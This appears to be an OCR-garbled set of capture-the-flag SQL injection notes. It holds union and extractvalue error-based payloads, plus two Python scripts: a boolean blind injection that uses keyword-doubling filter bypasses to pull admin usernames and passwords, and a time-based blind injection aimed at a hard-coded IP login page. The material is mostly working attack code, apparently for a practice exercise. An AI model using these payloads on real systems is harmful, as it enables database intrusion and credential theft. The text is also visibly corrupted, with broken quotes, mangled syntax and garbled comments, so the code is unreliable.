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?id=-1" union select 1,2,database() %23
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id="and(select extractvalue(l,concat(0x7e, (select database()))))
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id="and(select extractvalue(1l,concat(@x7e, (select group_concat(table_name) from information_schema.tables where
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id="and(select extractvalue(1l,concat(@x7e, (select group_concat(COIUMN_NAME) from TABLE_NAME))))
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import requests

def SQLinject():
# url BN EFTHT, B AERT LB 177 Ak
url = "'
# url = 'http://www.sql.com/login.php’

data = {"name":
"password": "123"

¥
flag = "'
i=1
while True:
# MEFTHIFZ1FIF4G
begin = 32
end = 126

mid = (begin + end) // 2
while begin < end:
# print(begin, mid, end)

# data["name"] = "admin' anandd iiff((ascii(substr((Select group_concat(table_name) from infoorrmati
on_schema.tables Where table_schema='ctf'),{0},1))>{1}),1,0)#". format(i, mid)
# data["name"] = "admin' anandd iiff((ascii(substr((Select group_concat(column_name) from infoorrmat

ion_schema.columns Where table_name='admin'),{0},1))>{1}),1,0) anandd '1".format(i, mid)

data["name"] = "admin'/**/anandd/**/iiff((ascii(substr((Select/**/group_concat(USER,"':"',PASSWOORRD)/
**/from/**/admin),{0},1))>{1}),1,0)/**/anandd/**/"'1" .format (i, mid)

# time_start = time.time()

r = requests.post(url, data=data)

# time_end = time.time()

# all_time = time_end - time_start

# print(r.text)

if "HPARFE! " in r.text:

# print(111)

end = mid
tmp = (begin + end) // 2
mid = tmp

else:

begin = mid + 1
tmp = (begin + end) // 2
mid = tmp

# print(mid)

flag += chr(mid)

i+=1
print(flag)
if _name__ == " main_ "
SQLinject()



# coding:utf-8
import requests
import datetime
import time

# KRB ELKE

def database_len():
for j in range(1,40):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRESTUVWXYZ ' :
payload = "admin'/**/anandd/**/iiff((substr(database(),%d,1)="%s"'),ssleepleep(2),1)/**/anandd'1'="1"
% (3,1)
url = '''http://47.97.203.129:5000/login.php'""
data = {'name': payload, "password": '123'}
# print(url+payload+'%23")
timel = datetime.datetime.now()
r = requests.post(url=url,data=data)
time2 = datetime.datetime.now()
sec = (time2 - timel).seconds
if sec »>= 2:
print(i)
else:
print(i)
break
print('database_len:', i)

#database_Len()

# KRB EE
def database_name():

name =

for j in range(1, 40):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRESTUVWXYZ ' :
payload = "admin'/**/anandd/**/iiff(substr((selecT/**/passwoorrd/**/from/**/ctf.admin),%d,1)="%c",sl
esleepep(3),1)/**/anandd'1'="1"%(j, i)
data = {'name': payload, "password": '123'}
url = "''http://47.97.203.129:5000/1ogin.php"""’
#payload = '''?id=1"' and if(substr(database(),%d,1)="%s"',sleep(1),1)"'"" % (j, 1)
# print(url+payload+'%23")
timel = datetime.datetime.now()
r = requests.post(url=url,data=data)
time2 = datetime.datetime.now()
sec = (time2 - timel).seconds
if sec >= 3:

name += i
print(name)
break

print('database_name:', name)

database_name()
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